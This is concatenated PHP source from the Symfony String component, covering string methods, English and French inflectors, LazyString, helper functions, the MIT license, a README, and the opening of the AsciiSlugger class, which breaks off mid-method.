$rx .= '.{65535}'; $length -= 65535; } $rx .= '.{'.$length.'})/us'; $str = clone $this; $chunks = []; foreach (preg_split($rx, $this->string, -1, \PREG_SPLIT_DELIM_CAPTURE | \PREG_SPLIT_NO_EMPTY) as $chunk) { $str->string = $chunk; $chunks[] = clone $str; } return $chunks; } public function codePointsAt(int $offset): array { $str = $offset ? $this->slice($offset, 1) : $this; return '' === $str->string ? [] : [mb_ord($str->string, 'UTF-8')]; } public function endsWith(string|iterable|AbstractString $suffix): bool { if ($suffix instanceof AbstractString) { $suffix = $suffix->string; } elseif (!\is_string($suffix)) { return parent::endsWith($suffix); } if ('' === $suffix || !preg_match('//u', $suffix)) { return false; } if ($this->ignoreCase) { return preg_match('{'.preg_quote($suffix).'$}iuD', $this->string); } return \strlen($this->string) >= \strlen($suffix) && 0 === substr_compare($this->string, $suffix, -\strlen($suffix)); } public function equalsTo(string|iterable|AbstractString $string): bool { if ($string instanceof AbstractString) { $string = $string->string; } elseif (!\is_string($string)) { return parent::equalsTo($string); } if ('' !== $string && $this->ignoreCase) { return \strlen($string) === \strlen($this->string) && 0 === mb_stripos($this->string, $string, 0, 'UTF-8'); } return $string === $this->string; } public function indexOf(string|iterable|AbstractString $needle, int $offset = 0): ?int { if ($needle instanceof AbstractString) { $needle = $needle->string; } elseif (!\is_string($needle)) { return parent::indexOf($needle, $offset); } if ('' === $needle) { return null; } $i = $this->ignoreCase ? mb_stripos($this->string, $needle, $offset, 'UTF-8') : mb_strpos($this->string, $needle, $offset, 'UTF-8'); return false === $i ? null : $i; } public function indexOfLast(string|iterable|AbstractString $needle, int $offset = 0): ?int { if ($needle instanceof AbstractString) { $needle = $needle->string; } elseif (!\is_string($needle)) { return parent::indexOfLast($needle, $offset); } if ('' === $needle) { return null; } $i = $this->ignoreCase ? mb_strripos($this->string, $needle, $offset, 'UTF-8') : mb_strrpos($this->string, $needle, $offset, 'UTF-8'); return false === $i ? null : $i; } public function length(): int { return mb_strlen($this->string, 'UTF-8'); } public function prepend(string ...$prefix): static { $str = clone $this; $str->string = (1 >= \count($prefix) ? ($prefix[0] ?? '') : implode('', $prefix)).$this->string; if (!preg_match('//u', $str->string)) { throw new InvalidArgumentException('Invalid UTF-8 string.'); } return $str; } public function replace(string $from, string $to): static { $str = clone $this; if ('' === $from || !preg_match('//u', $from)) { return $str; } if ('' !== $to && !preg_match('//u', $to)) { throw new InvalidArgumentException('Invalid UTF-8 string.'); } if ($this->ignoreCase) { $str->string = implode($to, preg_split('{'.preg_quote($from).'}iuD', $this->string)); } else { $str->string = str_replace($from, $to, $this->string); } return $str; } public function slice(int $start = 0, ?int $length = null): static { $str = clone $this; $str->string = mb_substr($this->string, $start, $length, 'UTF-8'); return $str; } public function splice(string $replacement, int $start = 0, ?int $length = null): static { if (!preg_match('//u', $replacement)) { throw new InvalidArgumentException('Invalid UTF-8 string.'); } $str = clone $this; $start = $start ? \strlen(mb_substr($this->string, 0, $start, 'UTF-8')) : 0; $length = $length ? \strlen(mb_substr($this->string, $start, $length, 'UTF-8')) : $length; $str->string = substr_replace($this->string, $replacement, $start, $length ?? \PHP_INT_MAX); return $str; } public function split(string $delimiter, ?int $limit = null, ?int $flags = null): array { if (1 > $limit ??= \PHP_INT_MAX) { throw new InvalidArgumentException('Split limit must be a positive integer.'); } if ('' === $delimiter) { throw new InvalidArgumentException('Split delimiter is empty.'); } if (null !== $flags) { return parent::split($delimiter.'u', $limit, $flags); } if (!preg_match('//u', $delimiter)) { throw new InvalidArgumentException('Split delimiter is not a valid UTF-8 string.'); } $str = clone $this; $chunks = $this->ignoreCase ? preg_split('{'.preg_quote($delimiter).'}iuD', $this->string, $limit) : explode($delimiter, $this->string, $limit); foreach ($chunks as &$chunk) { $str->string = $chunk; $chunk = clone $str; } return $chunks; } public function startsWith(string|iterable|AbstractString $prefix): bool { if ($prefix instanceof AbstractString) { $prefix = $prefix->string; } elseif (!\is_string($prefix)) { return parent::startsWith($prefix); } if ('' === $prefix || !preg_match('//u', $prefix)) { return false; } if ($this->ignoreCase) { return 0 === mb_stripos($this->string, $prefix, 0, 'UTF-8'); } return 0 === strncmp($this->string, $prefix, \strlen($prefix)); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\String\Exception; interface ExceptionInterface extends \Throwable { } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\String\Exception; class InvalidArgumentException extends \InvalidArgumentException implements ExceptionInterface { } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\String\Exception; class RuntimeException extends \RuntimeException implements ExceptionInterface { } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\String\Inflector; final class EnglishInflector implements InflectorInterface { /** * Map English plural to singular suffixes. * * @see http://english-zone.com/spelling/plurals.html */ private const PLURAL_MAP = [ // First entry: plural suffix, reversed // Second entry: length of plural suffix // Third entry: Whether the suffix may succeed a vowel // Fourth entry: Whether the suffix may succeed a consonant // Fifth entry: singular suffix, normal // insignias (insigne), insignia (insigne) ['saingisni', 9, true, true, 'insigne'], ['aingisni', 8, true, true, 'insigne'], // passersby (passerby) ['ybsressap', 9, true, true, 'passerby'], // nodes (node) ['sedon', 5, true, true, 'node'], // bacteria (bacterium) ['airetcab', 8, true, true, 'bacterium'], // issues (issue) ['seussi', 6, true, true, 'issue'], // corpora (corpus) ['aroproc', 7, true, true, 'corpus'], // criteria (criterion) ['airetirc', 8, true, true, 'criterion'], // curricula (curriculum) ['alucirruc', 9, true, true, 'curriculum'], // quora (quorum) ['arouq', 5, true, true, 'quorum'], // genera (genus) ['areneg', 6, true, true, 'genus'], // media (medium) ['aidem', 5, true, true, 'medium'], // memoranda (memorandum) ['adnaromem', 9, true, true, 'memorandum'], // phenomena (phenomenon) ['anemonehp', 9, true, true, 'phenomenon'], // strata (stratum) ['atarts', 6, true, true, 'stratum'], // nebulae (nebula) ['ea', 2, true, true, 'a'], // services (service) ['secivres', 8, true, true, 'service'], // mice (mouse), lice (louse) ['eci', 3, false, true, 'ouse'], // geese (goose) ['esee', 4, false, true, 'oose'], // fungi (fungus), alumni (alumnus), syllabi (syllabus), radii (radius) ['i', 1, true, true, 'us'], // men (man), women (woman) ['nem', 3, true, true, 'man'], // children (child) ['nerdlihc', 8, true, true, 'child'], // oxen (ox) ['nexo', 4, false, false, 'ox'], // indices (index), appendices (appendix), prices (price) ['seci', 4, false, true, ['ex', 'ix', 'ice']], // codes (code) ['sedoc', 5, false, true, 'code'], // selfies (selfie) ['seifles', 7, true, true, 'selfie'], // zombies (zombie) ['seibmoz', 7, true, true, 'zombie'], // movies (movie) ['seivom', 6, true, true, 'movie'], // names (name) ['seman', 5, true, false, 'name'], // conspectuses (conspectus), prospectuses (prospectus) ['sesutcep', 8, true, true, 'pectus'], // feet (foot) ['teef', 4, true, true, 'foot'], // geese (goose) ['eseeg', 5, true, true, 'goose'], // teeth (tooth) ['hteet', 5, true, true, 'tooth'], // news (news) ['swen', 4, true, true, 'news'], // series (series) ['seires', 6, true, true, 'series'], // babies (baby) ['sei', 3, false, true, 'y'], // accesses (access), addresses (address), kisses (kiss) ['sess', 4, true, false, 'ss'], // statuses (status) ['sesutats', 8, true, true, 'status'], // article (articles), ancle (ancles) ['sel', 3, true, true, 'le'], // analyses (analysis), ellipses (ellipsis), fungi (fungus), // neuroses (neurosis), theses (thesis), emphases (emphasis), // oases (oasis), crises (crisis), houses (house), bases (base), // atlases (atlas) ['ses', 3, true, true, ['s', 'se', 'sis']], // objectives (objective), alternative (alternatives) ['sevit', 5, true, true, 'tive'], // drives (drive) ['sevird', 6, false, true, 'drive'], // lives (life), wives (wife) ['sevi', 4, false, true, 'ife'], // moves (move) ['sevom', 5, true, true, 'move'], // hooves (hoof), dwarves (dwarf), elves (elf), leaves (leaf), caves (cave), staves (staff) ['sev', 3, true, true, ['f', 've', 'ff']], // axes (axis), axes (ax), axes (axe) ['sexa', 4, false, false, ['ax', 'axe', 'axis']], // indexes (index), matrixes (matrix) ['sex', 3, true, false, 'x'], // quizzes (quiz) ['sezz', 4, true, false, 'z'], // bureaus (bureau) ['suae', 4, false, true, 'eau'], // fees (fee), trees (tree), employees (employee) ['see', 3, true, true, 'ee'], // edges (edge) ['segd', 4, true, true, 'dge'], // outages (outage) - specific fix to avoid 'outag' ['segatuo', 7, true, true, 'outage'], // roses (rose), garages (garage), cassettes (cassette), // waltzes (waltz), heroes (hero), bushes (bush), arches (arch), // shoes (shoe) ['se', 2, true, true, ['', 'e']], // status (status) ['sutats', 6, true, true, 'status'], // tags (tag) ['s', 1, true, true, ''], // chateaux (chateau) ['xuae', 4, false, true, 'eau'], // people (person) ['elpoep', 6, true, true, 'person'], ]; /** * Map English singular to plural suffixes. * * @see http://english-zone.com/spelling/plurals.html */ private const SINGULAR_MAP = [ // First entry: singular suffix, reversed // Second entry: length of singular suffix // Third entry: Whether the suffix may succeed a vowel // Fourth entry: Whether the suffix may succeed a consonant // Fifth entry: plural suffix, normal // passerby (passersby) ['ybressap', 8, true, true, 'passersby'], // insigne (insignia, insignias) ['engisni', 7, true, true, ['insignia', 'insignias']], // nodes (node) ['edon', 4, true, true, 'nodes'], // axes (axis) ['sixa', 4, false, false, 'axes'], // criterion (criteria) ['airetirc', 8, false, false, 'criterion'], // nebulae (nebula) ['aluben', 6, false, false, 'nebulae'], // children (child) ['dlihc', 5, true, true, 'children'], // prices (price) ['eci', 3, false, true, 'ices'], // services (service) ['ecivres', 7, true, true, 'services'], // lives (life), wives (wife) ['efi', 3, false, true, 'ives'], // selfies (selfie) ['eifles', 6, true, true, 'selfies'], // movies (movie) ['eivom', 5, true, true, 'movies'], // lice (louse) ['esuol', 5, false, true, 'lice'], // mice (mouse) ['esuom', 5, false, true, 'mice'], // geese (goose) ['esoo', 4, false, true, 'eese'], // houses (house), bases (base) ['es', 2, true, true, 'ses'], // geese (goose) ['esoog', 5, true, true, 'geese'], // caves (cave) ['ev', 2, true, true, 'ves'], // drives (drive) ['evird', 5, false, true, 'drives'], // objectives (objective), alternative (alternatives) ['evit', 4, true, true, 'tives'], // moves (move) ['evom', 4, true, true, 'moves'], // staves (staff) ['ffats', 5, true, true, 'staves'], // hooves (hoof), dwarves (dwarf), elves (elf), leaves (leaf) ['ff', 2, true, true, 'ffs'], // hooves (hoof), dwarves (dwarf), elves (elf), leaves (leaf) ['f', 1, true, true, ['fs', 'ves']], // arches (arch) ['hc', 2, true, true, 'ches'], // bushes (bush) ['hs', 2, true, true, 'shes'], // teeth (tooth) ['htoot', 5, true, true, 'teeth'], // albums (album) ['mubla', 5, true, true, 'albums'], // quorums (quorum) ['murouq', 6, true, true, ['quora', 'quorums']], // bacteria (bacterium), curricula (curriculum), media (medium), memoranda (memorandum), phenomena (phenomenon), strata (stratum) ['mu', 2, true, true, 'a'], // men (man), women (woman) ['nam', 3, true, true, 'men'], // people (person) ['nosrep', 6, true, true, ['persons', 'people']], // criteria (criterion) ['noiretirc', 9, true, true, 'criteria'], // phenomena (phenomenon) ['nonemonehp', 10, true, true, 'phenomena'], // echoes (echo) ['ohce', 4, true, true, 'echoes'], // heroes (hero) ['oreh', 4, true, true, 'heroes'], // atlases (atlas) ['salta', 5, true, true, 'atlases'], // aliases (alias) ['saila', 5, true, true, 'aliases'], // irises (iris) ['siri', 4, true, true, 'irises'], // analyses (analysis), ellipses (ellipsis), neuroses (neurosis) // theses (thesis), emphases (emphasis), oases (oasis), // crises (crisis) ['sis', 3, true, true, 'ses'], // accesses (access), addresses (address), kisses (kiss) ['ss', 2, true, false, 'sses'], // syllabi (syllabus) ['suballys', 8, true, true, 'syllabi'], // buses (bus) ['sub', 3, true, true, 'buses'], // circuses (circus) ['suc', 3, true, true, 'cuses'], // hippocampi (hippocampus) ['supmacoppih', 11, false, false, 'hippocampi'], // campuses (campus) ['sup', 3, true, true, 'puses'], // status (status) ['sutats', 6, true, true, ['status', 'statuses']], // conspectuses (conspectus), prospectuses (prospectus) ['sutcep', 6, true, true, 'pectuses'], // nexuses (nexus) ['suxen', 5, false, false, 'nexuses'], // fungi (fungus), alumni (alumnus), syllabi (syllabus), radii (radius) ['su', 2, true, true, 'i'], // news (news) ['swen', 4, true, true, 'news'], // feet (foot) ['toof', 4, true, true, 'feet'], // chateaux (chateau), bureaus (bureau) ['uae', 3, false, true, ['eaus', 'eaux']], // oxen (ox) ['xo', 2, false, false, 'oxen'], // hoaxes (hoax) ['xaoh', 4, true, false, 'hoaxes'], // indices (index) ['xedni', 5, false, true, ['indicies', 'indexes']], // fax (faxes, faxxes) ['xaf', 3, true, true, ['faxes', 'faxxes']], // boxes (box) ['xo', 2, false, true, 'oxes'], // indexes (index), matrixes (matrix), appendices (appendix) ['x', 1, true, false, ['ces', 'xes']], // babies (baby) ['y', 1, false, true, 'ies'], // quizzes (quiz) ['ziuq', 4, true, false, 'quizzes'], // waltzes (waltz) ['z', 1, true, true, 'zes'], ]; /** * A list of words which should not be inflected, reversed. */ private const UNINFLECTED = [ '', // data 'atad', // deer 'reed', // equipment 'tnempiuqe', // feedback 'kcabdeef', // fish 'hsif', // health 'htlaeh', // history 'yrotsih', // info 'ofni', // information 'noitamrofni', // money 'yenom', // moose 'esoom', // series 'seires', // sheep 'peehs', // species 'seiceps', // traffic 'ciffart', // aircraft 'tfarcria', // hardware 'erawdrah', ]; public function singularize(string $plural): array { $pluralRev = strrev($plural); $lowerPluralRev = strtolower($pluralRev); $pluralLength = \strlen($lowerPluralRev); // Check if the word is one which is not inflected, return early if so if (\in_array($lowerPluralRev, self::UNINFLECTED, true)) { return [$plural]; } // The outer loop iterates over the entries of the plural table // The inner loop $j iterates over the characters of the plural suffix // in the plural table to compare them with the characters of the actual // given plural suffix foreach (self::PLURAL_MAP as $map) { $suffix = $map[0]; $suffixLength = $map[1]; $j = 0; // Compare characters in the plural table and of the suffix of the // given plural one by one while ($suffix[$j] === $lowerPluralRev[$j]) { // Let $j point to the next character ++$j; // Successfully compared the last character // Add an entry with the singular suffix to the singular array if ($j === $suffixLength) { // Is there any character preceding the suffix in the plural string? if ($j < $pluralLength) { $nextIsVowel = str_contains('aeiou', $lowerPluralRev[$j]); if (!$map[2] && $nextIsVowel) { // suffix may not succeed a vowel but next char is one break; } if (!$map[3] && !$nextIsVowel) { // suffix may not succeed a consonant but next char is one break; } } $newBase = substr($plural, 0, $pluralLength - $suffixLength); $newSuffix = $map[4]; // Check whether the first character in the plural suffix // is uppercased. If yes, uppercase the first character in // the singular suffix too $firstUpper = ctype_upper($pluralRev[$j - 1]); if (\is_array($newSuffix)) { $singulars = []; foreach ($newSuffix as $newSuffixEntry) { $singulars[] = $newBase.($firstUpper ? ucfirst($newSuffixEntry) : $newSuffixEntry); } return $singulars; } return [$newBase.($firstUpper ? ucfirst($newSuffix) : $newSuffix)]; } // Suffix is longer than word if ($j === $pluralLength) { break; } } } // Assume that plural and singular is identical return [$plural]; } public function pluralize(string $singular): array { $singularRev = strrev($singular); $lowerSingularRev = strtolower($singularRev); $singularLength = \strlen($lowerSingularRev); // Check if the word is one which is not inflected, return early if so if (\in_array($lowerSingularRev, self::UNINFLECTED, true)) { return [$singular]; } // The outer loop iterates over the entries of the singular table // The inner loop $j iterates over the characters of the singular suffix // in the singular table to compare them with the characters of the actual // given singular suffix foreach (self::SINGULAR_MAP as $map) { $suffix = $map[0]; $suffixLength = $map[1]; $j = 0; // Compare characters in the singular table and of the suffix of the // given plural one by one while ($suffix[$j] === $lowerSingularRev[$j]) { // Let $j point to the next character ++$j; // Successfully compared the last character // Add an entry with the plural suffix to the plural array if ($j === $suffixLength) { // Is there any character preceding the suffix in the plural string? if ($j < $singularLength) { $nextIsVowel = str_contains('aeiou', $lowerSingularRev[$j]); if (!$map[2] && $nextIsVowel) { // suffix may not succeed a vowel but next char is one break; } if (!$map[3] && !$nextIsVowel) { // suffix may not succeed a consonant but next char is one break; } } $newBase = substr($singular, 0, $singularLength - $suffixLength); $newSuffix = $map[4]; // Check whether the first character in the singular suffix // is uppercased. If yes, uppercase the first character in // the singular suffix too $firstUpper = ctype_upper($singularRev[$j - 1]); if (\is_array($newSuffix)) { $plurals = []; foreach ($newSuffix as $newSuffixEntry) { $plurals[] = $newBase.($firstUpper ? ucfirst($newSuffixEntry) : $newSuffixEntry); } return $plurals; } return [$newBase.($firstUpper ? ucfirst($newSuffix) : $newSuffix)]; } // Suffix is longer than word if ($j === $singularLength) { break; } } } // Assume that plural is singular with a trailing `s` return [$singular.'s']; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\String\Inflector; /** * French inflector. * * This class does only inflect nouns; not adjectives nor composed words like "soixante-dix". */ final class FrenchInflector implements InflectorInterface { /** * A list of all rules for pluralise. * * @see https://la-conjugaison.nouvelobs.com/regles/grammaire/le-pluriel-des-noms-121.php */ private const PLURALIZE_REGEXP = [ // First entry: regexp // Second entry: replacement // Words finishing with "s", "x" or "z" are invariables // Les mots finissant par "s", "x" ou "z" sont invariables ['/(s|x|z)$/i', '\1'], // Words finishing with "eau" are pluralized with a "x" // Les mots finissant par "eau" prennent tous un "x" au pluriel ['/(eau)$/i', '\1x'], // Words finishing with "au" are pluralized with a "x" excepted "landau" // Les mots finissant par "au" prennent un "x" au pluriel sauf "landau" ['/^(landau)$/i', '\1s'], ['/(au)$/i', '\1x'], // Words finishing with "eu" are pluralized with a "x" excepted "pneu", "bleu", "émeu" // Les mots finissant en "eu" prennent un "x" au pluriel sauf "pneu", "bleu", "émeu" ['/^(pneu|bleu|émeu)$/i', '\1s'], ['/(eu)$/i', '\1x'], // Words finishing with "al" are pluralized with a "aux" excepted // Les mots finissant en "al" se terminent en "aux" sauf ['/^(bal|carnaval|caracal|chacal|choral|corral|étal|festival|récital|val)$/i', '\1s'], ['/al$/i', '\1aux'], // Aspirail, bail, corail, émail, fermail, soupirail, travail, vantail et vitrail font leur pluriel en -aux ['/^(aspir|b|cor|ém|ferm|soupir|trav|vant|vitr)ail$/i', '\1aux'], // Bijou, caillou, chou, genou, hibou, joujou et pou qui prennent un x au pluriel ['/^(bij|caill|ch|gen|hib|jouj|p)ou$/i', '\1oux'], // Invariable words ['/^(cinquante|soixante|mille)$/i', '\1'], // French titles ['/^(mon|ma)(sieur|dame|demoiselle|seigneur)$/', 'mes\2s'], ['/^(Mon|Ma)(sieur|dame|demoiselle|seigneur)$/', 'Mes\2s'], ]; /** * A list of all rules for singularize. */ private const SINGULARIZE_REGEXP = [ // First entry: regexp // Second entry: replacement // Aspirail, bail, corail, émail, fermail, soupirail, travail, vantail et vitrail font leur pluriel en -aux ['/((aspir|b|cor|ém|ferm|soupir|trav|vant|vitr))aux$/i', '\1ail'], // Words finishing with "eau" are pluralized with a "x" // Les mots finissant par "eau" prennent tous un "x" au pluriel ['/(eau)x$/i', '\1'], // Words finishing with "al" are pluralized with a "aux" expected // Les mots finissant en "al" se terminent en "aux" sauf ['/(amir|anim|arsen|boc|can|capit|capor|chev|crist|génér|hopit|hôpit|idé|journ|littor|loc|m|mét|minér|princip|radic|termin)aux$/i', '\1al'], // Words finishing with "au" are pluralized with a "x" excepted "landau" // Les mots finissant par "au" prennent un "x" au pluriel sauf "landau" ['/(au)x$/i', '\1'], // Words finishing with "eu" are pluralized with a "x" excepted "pneu", "bleu", "émeu" // Les mots finissant en "eu" prennent un "x" au pluriel sauf "pneu", "bleu", "émeu" ['/(eu)x$/i', '\1'], // Words finishing with "ou" are pluralized with a "s" excepted bijou, caillou, chou, genou, hibou, joujou, pou // Les mots finissant par "ou" prennent un "s" sauf bijou, caillou, chou, genou, hibou, joujou, pou ['/(bij|caill|ch|gen|hib|jouj|p)oux$/i', '\1ou'], // French titles ['/^mes(dame|demoiselle)s$/', 'ma\1'], ['/^Mes(dame|demoiselle)s$/', 'Ma\1'], ['/^mes(sieur|seigneur)s$/', 'mon\1'], ['/^Mes(sieur|seigneur)s$/', 'Mon\1'], // Default rule ['/s$/i', ''], ]; /** * A list of words which should not be inflected. * This list is only used by singularize. */ private const UNINFLECTED = '/^(abcès|accès|abus|albatros|anchois|anglais|autobus|bois|brebis|carquois|cas|chas|colis|concours|corps|cours|cyprès|décès|devis|discours|dos|embarras|engrais|entrelacs|excès|fils|fois|gâchis|gars|glas|héros|intrus|jars|jus|kermès|lacis|legs|lilas|marais|mars|matelas|mépris|mets|mois|mors|obus|os|palais|paradis|parcours|pardessus|pays|plusieurs|poids|pois|pouls|printemps|processus|progrès|puits|pus|rabais|radis|recors|recours|refus|relais|remords|remous|rictus|rhinocéros|repas|rubis|sans|sas|secours|sens|souris|succès|talus|tapis|tas|taudis|temps|tiers|univers|velours|verglas|vernis|virus)$/i'; public function singularize(string $plural): array { if ($this->isInflectedWord($plural)) { return [$plural]; } foreach (self::SINGULARIZE_REGEXP as $rule) { [$regexp, $replace] = $rule; if (1 === preg_match($regexp, $plural)) { return [preg_replace($regexp, $replace, $plural)]; } } return [$plural]; } public function pluralize(string $singular): array { if ($this->isInflectedWord($singular)) { return [$singular]; } foreach (self::PLURALIZE_REGEXP as $rule) { [$regexp, $replace] = $rule; if (1 === preg_match($regexp, $singular)) { return [preg_replace($regexp, $replace, $singular)]; } } return [$singular.'s']; } private function isInflectedWord(string $word): bool { return 1 === preg_match(self::UNINFLECTED, $word); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\String\Inflector; interface InflectorInterface { /** * Returns the singular forms of a string. * * If the method can't determine the form with certainty, several possible singulars are returned. * * @return string[] */ public function singularize(string $plural): array; /** * Returns the plural forms of a string. * * If the method can't determine the form with certainty, several possible plurals are returned. * * @return string[] */ public function pluralize(string $singular): array; } Copyright (c) 2019-present Fabien Potencier Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\String; /** * A string whose value is computed lazily by a callback. * * @author Nicolas Grekas */ class LazyString implements \Stringable, \JsonSerializable { private \Closure|string $value; /** * @param callable|array $callback A callable or a [Closure, method] lazy-callable */ public static function fromCallable(callable|array $callback, mixed ...$arguments): static { if (\is_array($callback) && !\is_callable($callback) && !(($callback[0] ?? null) instanceof \Closure || 2 < \count($callback))) { throw new \TypeError(\sprintf('Argument 1 passed to "%s()" must be a callable or a [Closure, method] lazy-callable, "%s" given.', __METHOD__, '['.implode(', ', array_map('get_debug_type', $callback)).']')); } $lazyString = new static(); $lazyString->value = static function () use (&$callback, &$arguments): string { static $value; if (null !== $arguments) { if (!\is_callable($callback)) { $callback[0] = $callback[0](); $callback[1] ??= '__invoke'; } $value = $callback(...$arguments); $callback = !\is_scalar($value) && !$value instanceof \Stringable ? self::getPrettyName($callback) : 'callable'; $arguments = null; } return $value ?? ''; }; return $lazyString; } public static function fromStringable(string|int|float|bool|\Stringable $value): static { if (\is_object($value)) { return static::fromCallable($value->__toString(...)); } $lazyString = new static(); $lazyString->value = (string) $value; return $lazyString; } /** * Tells whether the provided value can be cast to string. */ final public static function isStringable(mixed $value): bool { return \is_string($value) || $value instanceof \Stringable || \is_scalar($value); } /** * Casts scalars and stringable objects to strings. * * @throws \TypeError When the provided value is not stringable */ final public static function resolve(\Stringable|string|int|float|bool $value): string { return $value; } public function __toString(): string { if (\is_string($this->value)) { return $this->value; } try { return $this->value = ($this->value)(); } catch (\Throwable $e) { if (\TypeError::class === $e::class && __FILE__ === $e->getFile()) { $type = explode(', ', $e->getMessage()); $type = substr(array_pop($type), 0, -\strlen(' returned')); $r = new \ReflectionFunction($this->value); $callback = $r->getStaticVariables()['callback']; $e = new \TypeError(\sprintf('Return value of %s() passed to %s::fromCallable() must be of the type string, %s returned.', $callback, static::class, $type)); } throw $e; } } public function __sleep(): array { $this->__toString(); return ['value']; } public function jsonSerialize(): string { return $this->__toString(); } private function __construct() { } private static function getPrettyName(callable $callback): string { if (\is_string($callback)) { return $callback; } if (\is_array($callback)) { $class = \is_object($callback[0]) ? get_debug_type($callback[0]) : $callback[0]; $method = $callback[1]; } elseif ($callback instanceof \Closure) { $r = new \ReflectionFunction($callback); if (str_contains($r->name, '{closure') || !$class = \PHP_VERSION_ID >= 80111 ? $r->getClosureCalledClass() : $r->getClosureScopeClass()) { return $r->name; } $class = $class->name; $method = $r->name; } else { $class = get_debug_type($callback); $method = '__invoke'; } return $class.'::'.$method; } } String Component ================ The String component provides an object-oriented API to strings and deals with bytes, UTF-8 code points and grapheme clusters in a unified way. Resources --------- * [Documentation](https://symfony.com/doc/current/components/string.html) * [Contributing](https://symfony.com/doc/current/contributing/index.html) * [Report issues](https://github.com/symfony/symfony/issues) and [send Pull Requests](https://github.com/symfony/symfony/pulls) in the [main Symfony repository](https://github.com/symfony/symfony) * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\String; if (!\function_exists(u::class)) { function u(?string $string = ''): UnicodeString { return new UnicodeString($string ?? ''); } } if (!\function_exists(b::class)) { function b(?string $string = ''): ByteString { return new ByteString($string ?? ''); } } if (!\function_exists(s::class)) { /** * @return UnicodeString|ByteString */ function s(?string $string = ''): AbstractString { $string ??= ''; return preg_match('//u', $string) ? new UnicodeString($string) : new ByteString($string); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\String\Slugger; use Symfony\Component\Intl\Transliterator\EmojiTransliterator; use Symfony\Component\String\AbstractUnicodeString; use Symfony\Component\String\UnicodeString; use Symfony\Contracts\Translation\LocaleAwareInterface; if (!interface_exists(LocaleAwareInterface::class)) { throw new \LogicException('You cannot use the "Symfony\Component\String\Slugger\AsciiSlugger" as the "symfony/translation-contracts" package is not installed. Try running "composer require symfony/translation-contracts".'); } /** * @author Titouan Galopin */ class AsciiSlugger implements SluggerInterface, LocaleAwareInterface { private const LOCALE_TO_TRANSLITERATOR_ID = [ 'am' => 'Amharic-Latin', 'ar' => 'Arabic-Latin', 'az' => 'Azerbaijani-Latin', 'be' => 'Belarusian-Latin', 'bg' => 'Bulgarian-Latin', 'bn' => 'Bengali-Latin', 'de' => 'de-ASCII', 'el' => 'Greek-Latin', 'fa' => 'Persian-Latin', 'he' => 'Hebrew-Latin', 'hy' => 'Armenian-Latin', 'ka' => 'Georgian-Latin', 'kk' => 'Kazakh-Latin', 'ky' => 'Kirghiz-Latin', 'ko' => 'Korean-Latin', 'mk' => 'Macedonian-Latin', 'mn' => 'Mongolian-Latin', 'or' => 'Oriya-Latin', 'ps' => 'Pashto-Latin', 'ru' => 'Russian-Latin', 'sr' => 'Serbian-Latin', 'sr_Cyrl' => 'Serbian-Latin', 'th' => 'Thai-Latin', 'tk' => 'Turkmen-Latin', 'uk' => 'Ukrainian-Latin', 'uz' => 'Uzbek-Latin', 'zh' => 'Han-Latin', ]; private ?string $defaultLocale; private \Closure|array $symbolsMap = [ 'en' => ['@' => 'at', '&' => 'and'], ]; private bool|string $emoji = false; /** * Cache of transliterators per locale. * * @var \Transliterator[] */ private array $transliterators = []; public function __construct(?string $defaultLocale = null, array|\Closure|null $symbolsMap = null) { $this->defaultLocale = $defaultLocale; $this->symbolsMap = $symbolsMap ?? $this->symbolsMap; } /** * @return void */ public function setLocale(string $locale) { $this->defaultLocale = $locale; } public function getLocale(): string { return $this->defaultLocale; } /** * @param bool|string $emoji true will use the same locale, * false will disable emoji, * and a string to use a specific locale */ public function withEmoji(bool|string $emoji = true): static { if (false !== $emoji && !class_exists(EmojiTransliterator::class)) { throw new \LogicException(\sprintf('You cannot use the "%s()" method as the "symfony/intl" package is not installed. Try running "composer require symfony/intl".', __METHOD__)); } $new = clone $this; $new->emoji = $emoji; return $new; } public function slug(string $string, string $separator = '-', ?string $locale = null): AbstractUnicodeString { $locale ??= $this->defaultLocale; $transliterator = []; if ($locale && ('de' === $locale || str_starts_with($locale, 'de_'))) { // Use the shortcut for German in UnicodeString::ascii() if possible (faster and no requirement on intl) $transliterator = ['de-ASCII']; } elseif (\function_exists('transliterator_transliterate') && $locale) { $transliterator = (array) $this->createTransliterator($locale); } if ($emojiTransliterator = $this->createEmojiTransliterator($locale)) { $transliterator[] = $emojiTransliterator; } if ($this->symbolsMap instanceof \Closure) { // If the symbols map is passed as a closure, there is no need to fallback to the parent locale // as the closure can just provide substitutions for all locales of interest. $symbolsMap = $this->symbolsMap; array_unshift($transliterator, static fn ($s) => $symbolsMap($s, $locale)); } $unicodeString = (new UnicodeString($string))->ascii($transliterator); if (\is_array($this->symbolsMap)) { $map = null; if (isset($this->symbolsMap[$locale ?? ''])) { $map = $this->symbolsMap[$locale ?? '']; } else { $parent = self::getParentLocale($locale); if ($parent && isset($this->symbolsMap[$parent])) { $map = $this->symbolsMap[$parent]; } } if ($map) { foreach ($map as $char => $replace) { $unicodeString = $unicodeString->replace($char, ' '.$replace.' '); } 